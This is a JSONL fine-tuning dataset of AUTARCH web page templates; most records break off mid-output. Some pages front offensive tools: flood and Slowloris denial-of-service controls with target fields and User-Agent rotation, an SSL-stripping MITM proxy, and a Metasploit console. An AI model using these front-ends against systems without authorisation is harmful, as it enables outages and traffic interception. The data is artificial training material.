{"instruction": "Create an AUTARCH web template for the 'Llm Trainer' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: llm_trainer.html\nSections: 6\nTabs: 3\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}LLM Trainer - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\" style=\"display:flex;align-items:center;gap:1rem;flex-wrap:wrap\">\n <div>\n <h1>LLM Trainer</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Fine-tune language models on the AUTARCH codebase. Generate datasets, train LoRA adapters, convert to GGUF.\n </p>\n </div>\n <a href=\"{{ url_for('analyze.index') }}\" class=\"btn btn-sm\" style=\"margin-left:auto\">← Analyze</a>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"trainer\" data-tab=\"dataset\" onclick=\"showTab('trainer','dataset')\">Dataset</button>\n <button class=\"tab\" data-tab-group=\"trainer\" data-tab=\"training\" onclick=\"showTab('trainer','training')\">Training</button>\n <button class=\"tab\" data-tab-group=\"trainer\" data-tab=\"convert\" onclick=\"showTab('trainer','convert')\">Convert</button>\n <button class=\"tab\" data-tab-group=\"trainer\" data-tab=\"evaluate\" onclick=\"showTab('trainer','evaluate')\">Evaluate</button>\n</div>\n\n<!-- ==================== DATASET TAB ==================== -->\n<div class=\"tab-content active\" data-tab-group=\"trainer\" data-tab=\"dataset\">\n<div class=\"section\">\n <h2>Codebase Scan</h2>\n <div class=\"tool-actions\">\n <button id=\"btn-scan\" class=\"btn btn-primary\" onclick=\"trScanCodebase()\">Scan Codebase</button>\n </div>\n <div id=\"scan-result\" style=\"margin-top:12px\"></div>\n</div>\n\n<div class=\"section\">\n <h2>Generate Training Dataset</h2>\n <p style=\"font-size:0.8rem;color:var(--text-muted);margin-bottom:12px\">\n Extracts code, architecture Q&A, and module creation examples from the AUTARCH codebase into JSONL training data.\n </p>\n <div class=\"form-row\" style=\"margin-bottom:12px\">\n <div class=\"form-group\">\n <label>Format</label>\n <select id=\"ds-format\">\n <option value=\"sharegpt\">ShareGPT (conversations)</option>\n <option value=\"instruction\">Alpaca (instruction/output)</option>\n </select>\n </div>\n </div>\n <div style=\"margin-bottom:12px\">\n <label><input type=\"checkbox\" id=\"ds-source\" checked> Include source code understanding</label><br>\n <label><input type=\"checkbox\" id=\"ds-qa\" checked> Include architecture Q&A</label><br>\n <label><input type=\"checkbox\" id=\"ds-modules\" checked> Include module creation examples</label>\n </div>\n <div class=\"tool-actions\">\n <button id=\"btn-generate\" class=\"btn btn-primary\" onclick=\"trGenerateDataset()\">Generate Dataset</button>\n </div>\n <pre class=\"output-panel\" id=\"gen-result\" style=\"margin-top:12px;min-height:0\"></pre>\n</div>\n\n<div class=\"section\">\n <h2>Saved Datasets</h2>\n <div class=\"tool-actions\">\n <button class=\"btn btn-small\" onclick=\"trListDatasets()\">Refresh</button>\n </div>\n <div id=\"datasets-list\" style=\"margin-top:12px\">\n <p class=\"empty-state\">Click \"Refresh\" to load datasets.</p>\n </div>\n</div>\n</div>\n\n<!-- ==================== TRAINING TAB ==================== -->\n<div class=\"tab-content\" data-tab-group=\"trainer\" data-tab=\"training\">\n<div class=\"section\">\n <h2>LoRA Fine-Tuning</h2>\n <p style=\"font-size:0.8rem;color:var(--text-muted);margin-bottom:12px\">\n Fine-tune a base model with LoRA adapters on your generated dataset. Requires a HuggingFace model ID or local path.\n </p>\n\n <div class=\"form-row\" style=\"margin-bottom:8px\">\n <div c
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Loadtest' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: loadtest.html\nSections: 3\nTabs: 4\nForms/API calls: 6\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Load Test - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Load Testing</h1>\n</div>\n\n<!-- Test Controls -->\n<div class=\"section\" id=\"controls-section\">\n <h2>Test Configuration</h2>\n <div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"lt-type\" data-tab=\"http\" onclick=\"showTab('lt-type','http')\">HTTP Flood</button>\n <button class=\"tab\" data-tab-group=\"lt-type\" data-tab=\"slowloris\" onclick=\"showTab('lt-type','slowloris')\">Slowloris</button>\n <button class=\"tab\" data-tab-group=\"lt-type\" data-tab=\"tcp\" onclick=\"showTab('lt-type','tcp')\">TCP Connect</button>\n <button class=\"tab\" data-tab-group=\"lt-type\" data-tab=\"syn\" onclick=\"showTab('lt-type','syn')\">SYN Flood</button>\n <button class=\"tab\" data-tab-group=\"lt-type\" data-tab=\"udp\" onclick=\"showTab('lt-type','udp')\">UDP Flood</button>\n </div>\n\n <!-- HTTP Flood -->\n <div class=\"tab-content active\" data-tab-group=\"lt-type\" data-tab=\"http\">\n <div style=\"display:grid;grid-template-columns:1fr auto;gap:0.75rem;align-items:end;margin-top:0.75rem\">\n <div class=\"form-group\" style=\"margin-bottom:0\">\n <label for=\"lt-target\">Target URL</label>\n <input type=\"text\" id=\"lt-target\" placeholder=\"https://example.com/api/endpoint\">\n </div>\n <div class=\"form-group\" style=\"margin-bottom:0\">\n <label for=\"lt-method\">Method</label>\n <select id=\"lt-method\" style=\"width:90px\">\n <option value=\"GET\">GET</option>\n <option value=\"POST\">POST</option>\n <option value=\"PUT\">PUT</option>\n <option value=\"DELETE\">DELETE</option>\n <option value=\"HEAD\">HEAD</option>\n <option value=\"PATCH\">PATCH</option>\n </select>\n </div>\n </div>\n <div class=\"form-group\" style=\"margin-top:0.5rem\">\n <label for=\"lt-headers\">Custom Headers (JSON)</label>\n <input type=\"text\" id=\"lt-headers\" placeholder='{\"Authorization\":\"Bearer token\",\"Content-Type\":\"application/json\"}'>\n </div>\n <div class=\"form-group\">\n <label for=\"lt-body\">Request Body</label>\n <input type=\"text\" id=\"lt-body\" placeholder='{\"key\":\"value\"} or form data'>\n </div>\n <div style=\"display:flex;gap:0.75rem;flex-wrap:wrap\">\n <label style=\"font-size:0.85rem;display:flex;align-items:center;gap:0.3rem;cursor:pointer\">\n <input type=\"checkbox\" id=\"lt-follow-redirects\" checked> Follow redirects\n </label>\n <label style=\"font-size:0.85rem;display:flex;align-items:center;gap:0.3rem;cursor:pointer\">\n <input type=\"checkbox\" id=\"lt-verify-ssl\"> Verify SSL\n </label>\n <label style=\"font-size:0.85rem;display:flex;align-items:center;gap:0.3rem;cursor:pointer\">\n <input type=\"checkbox\" id=\"lt-rotate-ua\" checked> Rotate User-Agents\n </label>\n </div>\n </div>\n\n <!-- Slowloris -->\n <div class=\"tab-content\" data-tab-group=\"lt-type\" data-tab=\"slowloris\">\n <div style=\"margin-top:0.75rem\">\n <div class=\"form-group\">\n <label for=\"lt-slowloris-target\">Target URL or host:port</label>\n <input type=\"text\" id=\"lt-slowloris-target\" placeholder=\"https://example.com or 192.168.1.1:80\">\n
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Log Correlator' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: log_correlator.html\nSections: 12\nTabs: 3\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}AUTARCH — Log Correlator{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Log Correlator</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Ingest, correlate, and alert on security events from multiple log sources.\n </p>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"logs\" data-tab=\"ingest\" onclick=\"showTab('logs','ingest')\">Ingest</button>\n <button class=\"tab\" data-tab-group=\"logs\" data-tab=\"alerts\" onclick=\"showTab('logs','alerts')\">Alerts</button>\n <button class=\"tab\" data-tab-group=\"logs\" data-tab=\"rules\" onclick=\"showTab('logs','rules')\">Rules</button>\n <button class=\"tab\" data-tab-group=\"logs\" data-tab=\"stats\" onclick=\"showTab('logs','stats')\">Stats</button>\n</div>\n\n<!-- ==================== INGEST TAB ==================== -->\n<div class=\"tab-content active\" data-tab-group=\"logs\" data-tab=\"ingest\">\n\n<div class=\"section\">\n <h2>Ingest from File</h2>\n <div class=\"input-row\">\n <input type=\"text\" id=\"log-ingest-path\" placeholder=\"Log file path (e.g. /var/log/auth.log)\">\n <button id=\"btn-ingest-file\" class=\"btn btn-primary\" onclick=\"logIngestFile()\">Ingest File</button>\n </div>\n <pre class=\"output-panel\" id=\"log-ingest-file-output\" style=\"min-height:0\"></pre>\n</div>\n\n<div class=\"section\">\n <h2>Paste Log Data</h2>\n <div class=\"form-group\">\n <label>Paste raw log entries</label>\n <textarea id=\"log-ingest-paste\" rows=\"6\" style=\"width:100%;background:var(--bg-input);border:1px solid var(--border);border-radius:var(--radius);color:var(--text-primary);padding:10px;font-family:monospace;font-size:0.85rem;resize:vertical\" placeholder=\"Paste log lines here...\"></textarea>\n </div>\n <div class=\"tool-actions\">\n <button id=\"btn-ingest-paste\" class=\"btn btn-primary\" onclick=\"logIngestPaste()\">Ingest Pasted Data</button>\n </div>\n <pre class=\"output-panel\" id=\"log-ingest-paste-output\" style=\"min-height:0\"></pre>\n</div>\n\n<div class=\"section\">\n <h2>Sources</h2>\n <div class=\"tool-actions\" style=\"margin-bottom:12px\">\n <button class=\"btn btn-small\" onclick=\"logLoadSources()\">Refresh</button>\n </div>\n <table class=\"data-table\">\n <thead><tr><th>Source</th><th>Type</th><th>Entries</th><th>Last Ingested</th></tr></thead>\n <tbody id=\"log-sources-table\">\n <tr><td colspan=\"4\" class=\"empty-state\">No log sources ingested yet.</td></tr>\n </tbody>\n </table>\n</div>\n\n<div class=\"section\">\n <h2>Search Logs</h2>\n <div class=\"input-row\">\n <input type=\"text\" id=\"log-search-query\" placeholder=\"Search pattern (regex supported)\" onkeydown=\"if(event.key==='Enter')logSearch()\">\n <button id=\"btn-log-search\" class=\"btn btn-primary\" onclick=\"logSearch()\">Search</button>\n </div>\n <span id=\"log-search-count\" style=\"font-size:0.8rem;color:var(--text-muted)\"></span>\n <table class=\"data-table\" style=\"margin-top:8px\">\n <thead><tr><th>Timestamp</th><th>Source</th><th>Log Entry</th></tr></thead>\n <tbody id=\"log-search-results\">\n <tr><td colspan=\"3\" class=\"empty-state\">Enter a query and click Search.</td></tr>\n </tbody>\n </table>\n</div>\n\n<div class=\"section\">\n <div class=\"tool-actions\">\n <button class=\"btn btn-danger btn-small\" onclick=\"logClearAll()\">Clear All Logs</button>\n </div>\n</div>\n\n</div>\n\n<!-- ==================== ALERTS TAB ==================== -->\n<div clas
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Malware Sandbox' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: malware_sandbox.html\nSections: 8\nTabs: 2\nForms/API calls: 1\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}AUTARCH — Malware Sandbox{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Malware Sandbox</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Submit, analyze, and report on suspicious files using static and dynamic analysis.\n </p>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"sandbox\" data-tab=\"submit\" onclick=\"showTab('sandbox','submit')\">Submit</button>\n <button class=\"tab\" data-tab-group=\"sandbox\" data-tab=\"analyze\" onclick=\"showTab('sandbox','analyze')\">Analyze</button>\n <button class=\"tab\" data-tab-group=\"sandbox\" data-tab=\"reports\" onclick=\"showTab('sandbox','reports')\">Reports</button>\n</div>\n\n<!-- ==================== SUBMIT TAB ==================== -->\n<div class=\"tab-content active\" data-tab-group=\"sandbox\" data-tab=\"submit\">\n\n<div class=\"section\">\n <h2>Submit Sample</h2>\n <p style=\"font-size:0.8rem;color:var(--text-muted);margin-bottom:12px\">\n Upload a file or specify a path on the server to submit for analysis.\n </p>\n\n <div class=\"form-row\" style=\"margin-bottom:12px\">\n <div class=\"form-group\">\n <label>Upload File</label>\n <input type=\"file\" id=\"sandbox-upload-file\">\n </div>\n </div>\n <div style=\"font-size:0.8rem;color:var(--text-muted);text-align:center;margin-bottom:12px\">-- OR --</div>\n <div class=\"form-row\" style=\"margin-bottom:12px\">\n <div class=\"form-group\">\n <label>Server File Path</label>\n <input type=\"text\" id=\"sandbox-file-path\" placeholder=\"/path/to/suspicious/file\">\n </div>\n </div>\n <div class=\"tool-actions\" style=\"margin-bottom:12px\">\n <button id=\"btn-sandbox-submit\" class=\"btn btn-primary\" onclick=\"sandboxSubmit()\">Submit Sample</button>\n </div>\n <pre class=\"output-panel\" id=\"sandbox-submit-output\" style=\"min-height:0\"></pre>\n</div>\n\n<div class=\"section\">\n <h2>Submitted Samples</h2>\n <div class=\"tool-actions\" style=\"margin-bottom:12px\">\n <button class=\"btn btn-small\" onclick=\"sandboxLoadSamples()\">Refresh</button>\n </div>\n <table class=\"data-table\">\n <thead><tr><th>Name</th><th>Size</th><th>SHA256</th><th>Submitted</th><th>Status</th></tr></thead>\n <tbody id=\"sandbox-samples-table\">\n <tr><td colspan=\"5\" class=\"empty-state\">No samples submitted yet.</td></tr>\n </tbody>\n </table>\n</div>\n\n</div>\n\n<!-- ==================== ANALYZE TAB ==================== -->\n<div class=\"tab-content\" data-tab-group=\"sandbox\" data-tab=\"analyze\">\n\n<div class=\"section\">\n <h2>Select Sample</h2>\n <div class=\"input-row\">\n <select id=\"sandbox-sample-select\" style=\"flex:2\">\n <option value=\"\">-- Select a sample --</option>\n </select>\n <button class=\"btn btn-small\" onclick=\"sandboxRefreshSelect()\">Refresh List</button>\n </div>\n</div>\n\n<div class=\"section\">\n <h2>Static Analysis</h2>\n <p style=\"font-size:0.8rem;color:var(--text-muted);margin-bottom:8px\">\n Inspect file headers, strings, imports, and calculate risk score without execution.\n </p>\n <div class=\"tool-actions\" style=\"margin-bottom:12px\">\n <button id=\"btn-static\" class=\"btn btn-primary\" onclick=\"sandboxStatic()\">Run Static Analysis</button>\n </div>\n\n <!-- Risk Score Gauge -->\n <div id=\"sandbox-static-results\" style=\"display:none\">\n <div style=\"display:flex;gap:24px;align-items:flex-start;flex-wrap:wrap;margin-bott
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Manual' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: manual.html\nSections: 0\nTabs: 0\nForms/API calls: 0\nHas JavaScript: False", "output": "{% extends \"base.html\" %}\n{% block title %}User Manual — AUTARCH{% endblock %}\n\n{% block extra_head %}\n<style>\n .manual-content {\n max-width: 900px;\n line-height: 1.7;\n font-size: 15px;\n }\n .manual-content h1 { color: #00ff41; font-size: 28px; margin: 30px 0 15px; border-bottom: 1px solid #333; padding-bottom: 8px; }\n .manual-content h2 { color: #00ff41; font-size: 22px; margin: 28px 0 12px; border-bottom: 1px solid #222; padding-bottom: 6px; }\n .manual-content h3 { color: #00cc33; font-size: 18px; margin: 22px 0 10px; }\n .manual-content h4 { color: #00aa22; font-size: 16px; margin: 18px 0 8px; }\n .manual-content p { margin: 8px 0; color: #ccc; }\n .manual-content code {\n background: #1a1a2e;\n color: #00ff41;\n padding: 2px 6px;\n border-radius: 3px;\n font-family: 'Courier New', monospace;\n font-size: 14px;\n }\n .manual-content pre {\n background: #0a0a1a;\n border: 1px solid #333;\n border-radius: 6px;\n padding: 14px;\n overflow-x: auto;\n margin: 12px 0;\n }\n .manual-content pre code {\n background: transparent;\n padding: 0;\n font-size: 13px;\n }\n .manual-content table {\n width: 100%;\n border-collapse: collapse;\n margin: 12px 0;\n }\n .manual-content th {\n background: #1a1a2e;\n color: #00ff41;\n text-align: left;\n padding: 8px 12px;\n border: 1px solid #333;\n font-size: 13px;\n }\n .manual-content td {\n padding: 8px 12px;\n border: 1px solid #222;\n color: #ccc;\n font-size: 13px;\n }\n .manual-content tr:nth-child(even) { background: #111122; }\n .manual-content ul, .manual-content ol { margin: 8px 0; padding-left: 24px; color: #ccc; }\n .manual-content li { margin: 4px 0; }\n .manual-content strong { color: #fff; }\n .manual-content em { color: #aaa; }\n .manual-content hr { border: none; border-top: 1px solid #333; margin: 24px 0; }\n .manual-content a { color: #00cc99; text-decoration: none; }\n .manual-content a:hover { text-decoration: underline; }\n .manual-content blockquote {\n border-left: 3px solid #00ff41;\n margin: 12px 0;\n padding: 8px 16px;\n background: #111122;\n color: #aaa;\n }\n</style>\n{% endblock %}\n\n{% block content %}\n<div class=\"manual-content\">\n {{ manual_html }}\n</div>\n{% endblock %}\n", "type": "template_creation", "source_file": "web/templates/manual.html"}
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Mcp Settings' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: mcp_settings.html\nSections: 1\nTabs: 0\nForms/API calls: 6\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}MCP Server - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\" style=\"display:flex;align-items:center;gap:1rem;flex-wrap:wrap\">\n <h1>MCP Server</h1>\n <a href=\"{{ url_for('settings.index') }}\" class=\"btn btn-sm\" style=\"margin-left:auto\">← Back to Settings</a>\n</div>\n\n<div class=\"section\">\n <h2>Model Context Protocol</h2>\n <p style=\"font-size:0.82rem;color:var(--text-secondary);margin-bottom:1rem\">\n The <a href=\"https://modelcontextprotocol.io/docs/getting-started/intro\" target=\"_blank\" rel=\"noopener\">Model Context Protocol (MCP)</a>\n lets AI assistants like Claude Desktop, Claude Code, and other MCP-compatible clients use AUTARCH's security tools directly.\n When connected, Claude can run nmap scans, look up IPs, capture packets, manage devices, and more — all through natural conversation.\n </p>\n\n <!-- ── Section 1: Server Control ── -->\n <div style=\"border:1px solid var(--border);background:var(--bg-card);border-radius:var(--radius);padding:0.85rem 1rem;margin-bottom:1.25rem\">\n <h3 style=\"font-size:0.95rem;margin-bottom:0.5rem\">Server Control</h3>\n <div style=\"display:flex;align-items:center;gap:0.75rem;flex-wrap:wrap;margin-bottom:0.75rem\">\n <button class=\"btn btn-primary btn-sm\" onclick=\"mcpStart()\" id=\"btn-mcp-start\">Start MCP Server</button>\n <button class=\"btn btn-sm\" onclick=\"mcpStop()\" id=\"btn-mcp-stop\">Stop</button>\n <div id=\"mcp-status-dot\" style=\"width:10px;height:10px;border-radius:50%;background:var(--text-muted);flex-shrink:0\"></div>\n <span id=\"mcp-status-text\" style=\"font-size:0.82rem;color:var(--text-secondary)\">Checking...</span>\n </div>\n <div style=\"display:flex;align-items:center;gap:1.5rem;flex-wrap:wrap;font-size:0.82rem;margin-bottom:0.5rem\">\n <label style=\"display:flex;align-items:center;gap:0.4rem;cursor:pointer\">\n <input type=\"checkbox\" id=\"mcp-auto-start\" {{ 'checked' if mcp.auto_start == 'true' }}>\n Auto-start on launch\n </label>\n <span style=\"color:var(--text-muted)\">Transport: <strong id=\"mcp-transport-display\">{{ mcp.transport }}</strong></span>\n </div>\n <p style=\"font-size:0.75rem;color:var(--text-muted);margin:0\">\n SSE endpoint: <code>http://{{ request.host.split(':')[0] }}:{{ mcp.port }}/sse</code>\n </p>\n </div>\n\n <!-- ── Section 2: Transport & Network ── -->\n <div style=\"border:1px solid var(--border);background:var(--bg-card);border-radius:var(--radius);padding:0.85rem 1rem;margin-bottom:1.25rem\">\n <h3 style=\"font-size:0.95rem;margin-bottom:0.5rem\">Transport & Network Settings</h3>\n <div style=\"display:grid;grid-template-columns:repeat(auto-fill,minmax(220px,1fr));gap:0.75rem;font-size:0.82rem\">\n <div>\n <label style=\"display:block;color:var(--text-secondary);margin-bottom:0.25rem\">Transport</label>\n <select id=\"mcp-transport\" style=\"width:100%;padding:0.35rem 0.5rem;border-radius:var(--radius);border:1px solid var(--border);background:var(--bg-main);color:inherit;font-size:0.82rem\">\n <option value=\"sse\" {{ 'selected' if mcp.transport == 'sse' }}>SSE (HTTP)</option>\n <option value=\"stdio\" {{ 'selected' if mcp.transport == 'stdio' }}>stdio (CLI only)</option>\n </select>\n </div>\n <div>\n <label style=\"display:block;color:var(--text-secondary);margin-bottom:0.25rem\">Host</label>\n
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Mitm Proxy' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: mitm_proxy.html\nSections: 7\nTabs: 2\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}MITM Proxy - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\" style=\"display:flex;align-items:center;gap:1rem;flex-wrap:wrap\">\n <div>\n <h1>MITM Proxy</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n HTTP/HTTPS interception proxy with traffic analysis, rule engine, and secret detection.\n </p>\n </div>\n <a href=\"{{ url_for('offense.index') }}\" class=\"btn btn-sm\" style=\"margin-left:auto\">← Offense</a>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"mitm\" data-tab=\"proxy\" onclick=\"showTab('mitm','proxy')\">Proxy</button>\n <button class=\"tab\" data-tab-group=\"mitm\" data-tab=\"rules\" onclick=\"showTab('mitm','rules')\">Rules</button>\n <button class=\"tab\" data-tab-group=\"mitm\" data-tab=\"traffic\" onclick=\"showTab('mitm','traffic');mitmLoadTraffic()\">Traffic Log</button>\n</div>\n\n<!-- ==================== PROXY TAB ==================== -->\n<div class=\"tab-content active\" data-tab-group=\"mitm\" data-tab=\"proxy\">\n\n<!-- Status Card -->\n<div class=\"section\">\n <h2>Proxy Status</h2>\n <table class=\"data-table\" style=\"max-width:500px\">\n <tbody>\n <tr><td>State</td><td><strong id=\"mitm-state\">--</strong></td></tr>\n <tr><td>Listen Address</td><td id=\"mitm-addr\">--</td></tr>\n <tr><td>Engine</td><td id=\"mitm-engine\">--</td></tr>\n <tr><td>Request Count</td><td id=\"mitm-reqcount\">0</td></tr>\n <tr><td>SSL Strip</td><td id=\"mitm-sslstrip\">OFF</td></tr>\n <tr><td>Upstream Proxy</td><td id=\"mitm-upstream\">None</td></tr>\n </tbody>\n </table>\n <div class=\"tool-actions\" style=\"margin-top:12px\">\n <button id=\"btn-mitm-start\" class=\"btn btn-primary\" onclick=\"mitmStart()\">Start Proxy</button>\n <button id=\"btn-mitm-stop\" class=\"btn btn-danger\" onclick=\"mitmStop()\" disabled>Stop Proxy</button>\n <button id=\"btn-mitm-refresh\" class=\"btn btn-sm\" onclick=\"mitmStatus()\" style=\"margin-left:8px\">Refresh</button>\n </div>\n</div>\n\n<!-- Configuration -->\n<div class=\"section\">\n <h2>Configuration</h2>\n <div style=\"display:flex;gap:16px;flex-wrap:wrap;align-items:flex-end\">\n <div class=\"form-group\" style=\"min-width:160px\">\n <label>Listen Host</label>\n <input type=\"text\" id=\"mitm-host\" class=\"form-control\" value=\"127.0.0.1\" placeholder=\"127.0.0.1\">\n </div>\n <div class=\"form-group\" style=\"min-width:100px\">\n <label>Listen Port</label>\n <input type=\"number\" id=\"mitm-port\" class=\"form-control\" value=\"8888\" min=\"1\" max=\"65535\">\n </div>\n <div class=\"form-group\" style=\"min-width:220px\">\n <label>Upstream Proxy <span style=\"color:var(--text-muted)\">(optional)</span></label>\n <input type=\"text\" id=\"mitm-upstream-input\" class=\"form-control\" placeholder=\"host:port\">\n </div>\n </div>\n <div style=\"margin-top:12px\">\n <label style=\"display:inline-flex;align-items:center;gap:8px;cursor:pointer\">\n <input type=\"checkbox\" id=\"mitm-sslstrip-toggle\" onchange=\"mitmToggleSSL()\">\n <span>Enable SSL Stripping</span>\n <span style=\"font-size:0.75rem;color:var(--text-muted)\">(rewrite HTTPS links to HTTP)</span>\n </label>\n </div>\n</div>\n\n<!-- CA Certificate -->\n<div class=\"section\">\n <h2>CA Certificate</h2>\n <p style=\"font-size:0.85rem;color:var(--text-secondary);margin-bottom:12px\">\n Generat
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Module Creator' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: module_creator.html\nSections: 0\nTabs: 0\nForms/API calls: 6\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Module Creator - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Module Creator</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Create, edit, validate, and manage AUTARCH modules\n </p>\n</div>\n\n<style>\n#module-code {\n font-family: 'Courier New', monospace;\n font-size: 0.82rem;\n background: var(--bg-primary);\n color: var(--text-primary);\n border: 1px solid var(--border);\n border-radius: var(--radius);\n padding: 0.75rem;\n width: 100%;\n min-height: 500px;\n resize: vertical;\n tab-size: 4;\n line-height: 1.5;\n}\n#module-code:focus {\n outline: none;\n border-color: var(--accent);\n}\n.mc-layout {\n display: grid;\n grid-template-columns: 1fr 340px;\n gap: 1.5rem;\n margin-top: 1rem;\n}\n@media (max-width: 960px) {\n .mc-layout { grid-template-columns: 1fr; }\n}\n.mc-editor, .mc-list {\n background: var(--bg-card);\n border: 1px solid var(--border);\n border-radius: var(--radius);\n padding: 1rem;\n}\n.mc-form-grid {\n display: grid;\n grid-template-columns: 1fr 1fr;\n gap: 0.6rem 1rem;\n margin-bottom: 0.75rem;\n}\n.mc-form-grid .form-group { margin-bottom: 0; }\n.mc-form-grid label {\n display: block;\n font-size: 0.78rem;\n color: var(--text-secondary);\n margin-bottom: 2px;\n}\n.mc-form-grid input, .mc-form-grid select {\n width: 100%;\n padding: 0.4rem 0.6rem;\n background: var(--bg-input);\n border: 1px solid var(--border);\n border-radius: var(--radius);\n color: var(--text-primary);\n font-size: 0.82rem;\n}\n.mc-btn-row {\n display: flex;\n gap: 0.5rem;\n margin-top: 0.75rem;\n flex-wrap: wrap;\n}\n.mc-btn-row .btn { font-size: 0.82rem; padding: 0.4rem 0.9rem; }\n.mc-status {\n margin-top: 0.75rem;\n padding: 0.6rem 0.8rem;\n border-radius: var(--radius);\n font-size: 0.8rem;\n display: none;\n white-space: pre-wrap;\n}\n.mc-status.success { display: block; background: rgba(34,197,94,0.12); color: #4ade80; border: 1px solid rgba(34,197,94,0.25); }\n.mc-status.error { display: block; background: rgba(239,68,68,0.12); color: #f87171; border: 1px solid rgba(239,68,68,0.25); }\n.mc-status.info { display: block; background: rgba(99,102,241,0.12); color: var(--accent-hover); border: 1px solid rgba(99,102,241,0.25); }\n.mc-list h2 {\n font-size: 1rem;\n margin-bottom: 0.5rem;\n display: flex;\n align-items: center;\n justify-content: space-between;\n}\n.mc-modules-scroll {\n max-height: 620px;\n overflow-y: auto;\n padding-right: 0.25rem;\n}\n.mc-cat-group { margin-bottom: 0.75rem; }\n.mc-cat-group h3 {\n font-size: 0.78rem;\n text-transform: uppercase;\n color: var(--text-muted);\n letter-spacing: 0.05em;\n margin-bottom: 0.3rem;\n padding-bottom: 0.2rem;\n border-bottom: 1px solid var(--border);\n}\n.mc-mod-item {\n padding: 0.4rem 0.5rem;\n border-radius: calc(var(--radius) - 2px);\n cursor: pointer;\n font-size: 0.8rem;\n transition: background 0.15s;\n}\n.mc-mod-item:hover { background: var(--bg-input); }\n.mc-mod-item .mod-name { font-weight: 600; color: var(--text-primary); }\n.mc-mod-item .mod-desc {\n font-size: 0.72rem;\n color: var(--text-secondary);\n white-space: nowrap;\n overflow: hidden;\n text-overflow: ellipsis;\n}\n.mc-mod-item .mod-meta {\n font-size: 0.68rem;\n color: var(--text-muted);\n}\n</style>\n\n<div class=\"mc-layout\">\n <!-- Left column: editor -->\n <div class=\"mc-editor\">\n <div class=\"mc-form-grid\">\n <div class=\"form-group\">\n <label for=\"mod-name\">Module
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Msf' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: msf.html\nSections: 3\nTabs: 0\nForms/API calls: 3\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}MSF Console - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>MSF Console</h1>\n</div>\n\n<!-- Connection Bar -->\n<div class=\"section\" style=\"padding:0.75rem 1rem\">\n <div style=\"display:flex;align-items:center;gap:0.75rem;flex-wrap:wrap\">\n <div id=\"msf-conn-status\" style=\"display:flex;align-items:center;gap:0.4rem;font-size:0.85rem\">\n <span id=\"msf-conn-dot\" class=\"status-dot inactive\"></span>\n <span id=\"msf-conn-label\">Checking...</span>\n </div>\n <button class=\"btn btn-sm\" onclick=\"msfReconnect()\">Reconnect</button>\n <span id=\"msf-conn-info\" style=\"font-size:0.8rem;color:var(--text-secondary)\"></span>\n </div>\n</div>\n\n<!-- Terminal -->\n<div class=\"section\">\n <div id=\"msf-terminal\" style=\"background:#0a0a0a;color:#e0e0e0;font-family:monospace;font-size:0.85rem;border-radius:6px;padding:1rem;min-height:400px;max-height:60vh;overflow-y:auto;white-space:pre-wrap;word-break:break-all\"></div>\n <div style=\"display:flex;gap:0.5rem;margin-top:0.5rem;align-items:center\">\n <span style=\"color:var(--text-secondary);font-family:monospace;font-size:0.85rem\">msf6 ></span>\n <input type=\"text\" id=\"msf-input\" placeholder=\"Enter MSF console command...\" 